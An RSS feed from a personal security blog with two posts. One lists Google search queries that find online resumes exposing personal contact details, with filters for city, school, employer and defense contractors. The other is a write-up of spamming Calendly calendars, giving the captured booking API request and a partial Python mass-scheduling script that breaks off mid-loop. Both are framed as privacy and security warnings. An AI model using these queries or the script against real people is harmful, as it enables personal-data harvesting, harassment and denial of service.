<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Cybersecurity on Nelson Figueroa</title>
    <link>https://nelson.cloud/categories/cybersecurity/</link>
    <description>Recent content in Cybersecurity on Nelson Figueroa</description>
    <image>
      <title>Nelson Figueroa</title>
      <url>https://nelson.cloud/opengraph-images/default.png</url>
      <link>https://nelson.cloud/opengraph-images/default.png</link>
    </image>
    <language>en</language>
    <lastBuildDate>Sat, 28 Mar 2026 23:19:01 -0700</lastBuildDate>
    <atom:link href="https://nelson.cloud/categories/cybersecurity/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Finding Private Information Through Resumes on Google Search</title>
      <link>https://nelson.cloud/finding-private-information-through-resumes-on-google-search/?ref=rss</link>
      <pubDate>Mon, 16 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/finding-private-information-through-resumes-on-google-search/?ref=rss</guid>
      <description>Reconsider uploading your resume on the open web.</description><content:encoded><![CDATA[<p>I noticed a lot of people are willing to upload their full unredacted resume to their personal sites.
I recently had an idea of using Google search filters to see how easy it would be to find these.
I wanted to see how easily a malicious person could harvest things like phone numbers, email addresses, and even physical addresses.
Turns out it&rsquo;s not that difficult.</p>
<blockquote><p><strong>Disclaimer:</strong></p>This is purely for educational purposes. I don&rsquo;t plan on collecting information and using it for malicious purposes.</blockquote>

<p>I started by searching domains that host static sites like <code>github.io</code> and <code>pages.dev</code>.</p>
<p>I found a lot of resumes with this Google search. 

<a href="https://www.google.com/search?q=resume.pdf&#43;filetype:pdf&#43;site:github.io" target="_blank" rel="noopener">Try this search yourself</a>.</p>
<pre tabindex="0"><code>resume.pdf filetype:pdf site:github.io
</code></pre><p>Searching for <code>resume</code> instead of <code>resume.pdf</code> also works, but the results are polluted by &ldquo;Resume Guide&rdquo; PDFs and etc.</p>
<br>
<p>Searching for the standard <code>github.com</code> domain also yields lots of results. 

<a href="https://www.google.com/search?q=resume.pdf&#43;filetype:pdf&#43;site:github.com" target="_blank" rel="noopener">Try this search yourself</a>.</p>
<pre tabindex="0"><code>resume.pdf filetype:pdf site:github.com
</code></pre><br>
<p>After GitHub I decided to try the <code>pages.dev</code> domain used by 

<a href="https://pages.cloudflare.com/" target="_blank" rel="noopener">Cloudflare Pages</a>. Here is a simple search query that gives good results. 

<a href="https://www.google.com/search?q=resume&#43;filetype:pdf&#43;site:pages.dev" target="_blank" rel="noopener">Try this search yourself</a>.</p>
<pre tabindex="0"><code>resume filetype:pdf site:pages.dev
</code></pre><br>
<p>The Netlify domain <code>netlify.app</code> is used for static pages and also hosts a lot of resumes that users upload. 

<a href="https://www.google.com/search?q=resume&#43;filetype:pdf&#43;site:netlify.app" target="_blank" rel="noopener">Try this search yourself</a>.</p>
<pre tabindex="0"><code>resume filetype:pdf site:netlify.app
</code></pre><br>
<p>There are top level domains (TLDs) commonly used for personal sites, such as <code>.me</code> and <code>.dev</code>. These domains are also great for finding resumes. Here&rsquo;s a Google search for the <code>.me</code> TLD. 

<a href="https://www.google.com/search?q=resume&#43;filetype:pdf&#43;site:*.me" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>resume filetype:pdf site:*.me
</code></pre><br>
<p>And here is a Google search for the <code>.dev</code> TLD which is commonly used by developers. 

<a href="https://www.google.com/search?q=resume&#43;filetype:pdf&#43;site:*.dev" target="_blank" rel="noopener">Try this out yourself</a>.</p>
<pre tabindex="0"><code>resume.pdf filetype:pdf site:*.dev
</code></pre><br>
<p>I didn&rsquo;t try this with other TLDs but I know that other TLDs like <code>.id</code>, <code>.blog</code>, and <code>.codes</code> are usually used for personal sites. Feel free to search by these TLDs and see what you can find!</p>
<p>We can take this further. What if we want to find people based on something more specific than a domain or TLD? I&rsquo;ll keep using the <code>.dev</code> TLD for simplicity but there are many possibilities.</p>
<p>Maybe we want to find someone in a specific city? 

<a href="https://www.google.com/search?q=boston&#43;resume&#43;filetype:pdf&#43;site:*.dev" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>boston resume filetype:pdf site:*.dev
</code></pre><br>
<p>Or someone that went to a particular college? 

<a href="https://www.google.com/search?q=University&#43;of&#43;California&#43;Los&#43;Angeles&#43;resume&#43;filetype:pdf&#43;site:*.dev" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>University of California Los Angeles resume filetype:pdf site:*.dev
</code></pre><br>
<p>Someone that works or worked at a certain company? 

<a href="https://www.google.com/search?q=%22Apple%2C&#43;Inc%22&#43;resume&#43;filetype%3Apdf&#43;site%3A*.dev" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>&#34;Apple, Inc&#34; resume filetype:pdf site:*.dev
</code></pre><br>
<p>Maybe we want the name, number, and address of someone who has worked at a defense company and may know sensitive information important to U.S. national security? Note that I didn&rsquo;t filter based on domain or TLD here. 

<a href="https://www.google.com/search?q=%22resume.pdf%22&#43;%22Raytheon%22&#43;filetype%3Apdf" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>&#34;resume.pdf&#34; &#34;Raytheon&#34; filetype:pdf
</code></pre><p><small><i>(I&rsquo;m just joking. Please don&rsquo;t come after me, feds.)</i></small></p>
<br>
<p>I also considered writing a script to run these searches for me, gather all PDF links, download the PDFs, and then parse through them for names, numbers, emails, and addresses.
But I stopped because I have no interest in collecting this information. I just wanted to see and show others how easy it is to find information on the open web. It&rsquo;s definitely possible to write a script to do this though.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In conclusion, it&rsquo;s really easy to find private information on resumes posted online. Please reconsider if you are thinking of making your resume available online.</p>
<h2 id="further-reading">Further Reading</h2>
<p>I am not the first to have this idea. Here&rsquo;s a similar post that you should also check out:</p>
<ul>
<li>

<a href="https://www.trickster.dev/post/simple-ways-to-find-exposed-sensitive-information/" target="_blank" rel="noopener">https://www.trickster.dev/post/simple-ways-to-find-exposed-sensitive-information/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Calendly Denial of Service via Mass-Scheduling</title>
      <link>https://nelson.cloud/calendly-denial-of-service-via-mass-scheduling/?ref=rss</link>
      <pubDate>Thu, 16 May 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/calendly-denial-of-service-via-mass-scheduling/?ref=rss</guid>
      <description>Showing how Calendly can be easily spammed because I&amp;rsquo;m bored and unemployed.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>I&rsquo;ve been doing interviews lately and I have been sent several 

<a href="https://calendly.com/" target="_blank" rel="noopener">Calendly</a> links.</p>
<p>If you haven&rsquo;t heard of Calendly, it&rsquo;s an online scheduling site. You can send someone your Calendly link, and they can see your availability and schedule an appointment.</p>
<p>I noticed that I don&rsquo;t have to be authenticated any way to be able to schedule an appointment on someone&rsquo;s calendar. Not great from a security perspective. So I decided to create a free Calendly account and see how easily a theoretical bad actor could abuse it.</p>
<p>The plan is to automate the process of scheduling appointments with Python to fill up someone&rsquo;s calendar with fake appointments.</p>
<blockquote><p><strong>Disclaimer:</strong></p>This is purely for educational purposes. Please do not spam people&rsquo;s calendars.</blockquote>

<h2 id="gathering-request-urls-headers-and-payloads">Gathering Request URLs, Headers, and Payloads</h2>
<p>First, I created a free account at 

<a href="https://calendly.com/signup" target="_blank" rel="noopener">https://calendly.com/signup</a>.</p>
<img src="/calendly-spam/new-account.webp" alt="My new Calendly account" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>The dates and times available are shown in the following screenshot:</p>
<img src="/calendly-spam/dates-available.webp" alt="Dates available for scheduling" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>I went through the process of manually creating an appointment in order to capture requests, HTTP verbs, and the URLs they were going to.</p>
<p>This was the final step before creating an appointment:</p>
<img src="/calendly-spam/scheduling-appointment.webp" alt="The process of scheduling an appointment on Calendly" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>As I went through the process of scheduling and appointment I was keeping track of all the <code>GET</code> requests and their payloads (I chose not to show those here to get to the good stuff sooner). The final request that actually created an appointment was a <code>POST</code> request to <code>https://calendly.com/api/booking/invitees</code>. This is the payload of that request:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;analytics&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;referrer_page&#34;</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;invitee_landed_at&#34;</span><span class="p">:</span><span class="s2">&#34;2024-05-16T00:39:59.886Z&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;browser&#34;</span><span class="p">:</span><span class="s2">&#34;Firefox 126&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;device&#34;</span><span class="p">:</span><span class="s2">&#34;undefined Mac OS X 10.15&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;fields_filled&#34;</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;fields_presented&#34;</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;booking_flow&#34;</span><span class="p">:</span><span class="s2">&#34;v3&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;seconds_to_convert&#34;</span><span class="p">:</span><span class="mi">86</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;embed&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;start_time&#34;</span><span class="p">:</span><span class="s2">&#34;2024-05-16T10:30:00-07:00&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;location_configuration&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;location&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;phone_number&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;additional_info&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;guests&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event_fields&#34;</span><span class="p">:[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;id&#34;</span><span class="p">:</span><span class="mi">171096387</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span><span class="s2">&#34;Please share anything that will help prepare for our meeting.&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;format&#34;</span><span class="p">:</span><span class="s2">&#34;text&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;required&#34;</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;position&#34;</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;answer_choices&#34;</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;include_other&#34;</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;value&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event_type_uuid&#34;</span><span class="p">:</span><span class="s2">&#34;2bf9fee5-e434-44a2-8f1f-15eb42f906f0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;invitee&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;timezone&#34;</span><span class="p">:</span><span class="s2">&#34;America/Los_Angeles&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;time_notation&#34;</span><span class="p">:</span><span class="s2">&#34;12h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;full_name&#34;</span><span class="p">:</span><span class="s2">&#34;Nelson Figueroa&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;email&#34;</span><span class="p">:</span><span class="s2">&#34;thisisafakeemail@example.com&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;payment_token&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;recaptcha_token&#34;</span><span class="p">:</span><span class="s2">&#34;03AFcWeA6-bQo_p48-znbKGUevb...&lt;cut for brevity&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;single_use_slug&#34;</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;tracking&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;fingerprint&#34;</span><span class="p">:</span><span class="s2">&#34;a13001d0fcfe7e73a87dfd93e5edf7a5&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;scheduling_link_uuid&#34;</span><span class="p">:</span><span class="s2">&#34;ckbp-gj5-6gh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Most of the fields aren&rsquo;t necessary. Through trial and error I noticed I really only need a JSON payload structured like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;start_time&#34;</span><span class="p">:</span><span class="s2">&#34;2024-05-16T10:30:00-07:00&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;location_configuration&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;location&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;phone_number&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;additional_info&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event_type_uuid&#34;</span><span class="p">:</span><span class="s2">&#34;2bf9fee5-e434-44a2-8f1f-15eb42f906f0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;invitee&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;timezone&#34;</span><span class="p">:</span><span class="s2">&#34;America/Los_Angeles&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;time_notation&#34;</span><span class="p">:</span><span class="s2">&#34;12h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;full_name&#34;</span><span class="p">:</span><span class="s2">&#34;Nelson Figueroa&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;email&#34;</span><span class="p">:</span><span class="s2">&#34;thisisafakeemail@example.com&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>I also made a note of the request headers that I needed for this <code>POST</code> request:</p>
<pre tabindex="0"><code>POST /api/booking/invitees HTTP/2
Host: calendly.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36 Gecko/20100101 Firefox/126.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://calendly.com/nelsonfigueroa/30min/2024-05-16T10:30:00-07:00?back=1&amp;month=2024-05&amp;date=2024-05-16
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 3324
Origin: https://calendly.com
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers
</code></pre><p>At this point I had the information I needed to try and mass-create appointments.</p>
<h2 id="creating-a-python-script">Creating a Python Script</h2>
<p>I came up with this Python script that makes a few <code>GET</code> requests to figure out what days are available for scheduling and then makes a <code>POST</code> request as previously described:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">faker</span> <span class="kn">import</span> <span class="n">Faker</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># we&#39;ll use Faker to generate fake names, emails, etc</span>
</span></span><span class="line"><span class="cl"><span class="n">fake</span> <span class="o">=</span> <span class="n">Faker</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">starting_url</span> <span class="o">=</span> <span class="s2">&#34;https://calendly.com/nelsonfigueroa/&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">scheduling_url</span> <span class="o">=</span> <span class="s2">&#34;https://calendly.com/api/booking/invitees&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># generate today&#39;s date for use in range later</span>
</span></span><span class="line"><span class="cl"><span class="n">today</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">today</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">today_formatted</span> <span class="o">=</span> <span class="n">today</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%Y-%m-</span><span class="si">%d</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># generate the date 30 days from today for use in range later</span>
</span></span><span class="line"><span class="cl"><span class="n">one_year_from_today</span> <span class="o">=</span> <span class="n">today</span> <span class="o">+</span> <span class="n">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">30</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">one_year_from_today_formatted</span> <span class="o">=</span> <span class="n">one_year_from_today</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%Y-%m-</span><span class="si">%d</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># GET request to get event types</span>
</span></span><span class="line"><span class="cl"><span class="n">username</span> <span class="o">=</span> <span class="n">starting_url</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)[</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">event_types_url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://calendly.com/api/booking/profiles/</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s2">/event_types&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">event_types_url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">event_types</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># event types have the URL paths we need (i.e. /30min)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># we need to get the UUID in the API call</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">event_type</span> <span class="ow">in</span> <span class="n">event_types</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">uuid</span> <span class="o">=</span> <span class="n">event_type</span><span class="p">[</span><span class="s2">&#34;uuid&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># GET request to get the dates available for the event type</span>
</span></span><span class="line"><span class="cl">    <span class="n">time_zone</span> <span class="o">=</span> <span class="s2">&#34;America/Los_Angeles&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">range_start</span> <span class="o">=</span> <span class="n">today_formatted</span>
</span></span><span class="line"><span class="cl">    <span class="n">range_end</span> <span class="o">=</span> <span class="n">one_year_from_today_formatted</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates_url</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="sa">f</span><span class="s2">&#34;https://calendly.com/api/booking/event_types/</span><span class="si">{</span><span class="n">uuid</span><span class="si">}</span><span class="s2">/calendar/range&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">query_string</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="sa">f</span><span class="s2">&#34;?timezone=</span><span class="si">{</span><span class="n">time_zone</span><span class="si">}</span><span class="s2">&amp;range_start=</span><span class="si">{</span><span class="n">range_start</span><span class="si">}</span><span class="s2">&amp;range_end=</span><span class="si">{</span><span class="n">range_end</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates_url</span> <span class="o">+=</span> <span class="n">query_string</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">booking_dates_url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates</span> <span class="o">=</span> <span class="n">booking_dates</span><span class="p">[</span><span class="s2">&#34;days&#34;</span><span class="p">]</span>  <span class="c1"># we only need the days</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># check if the user is available on each date</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">booking_date</span> <span class="ow">in</span> <span class="n">booking_dates</span><span class="p">:</span>
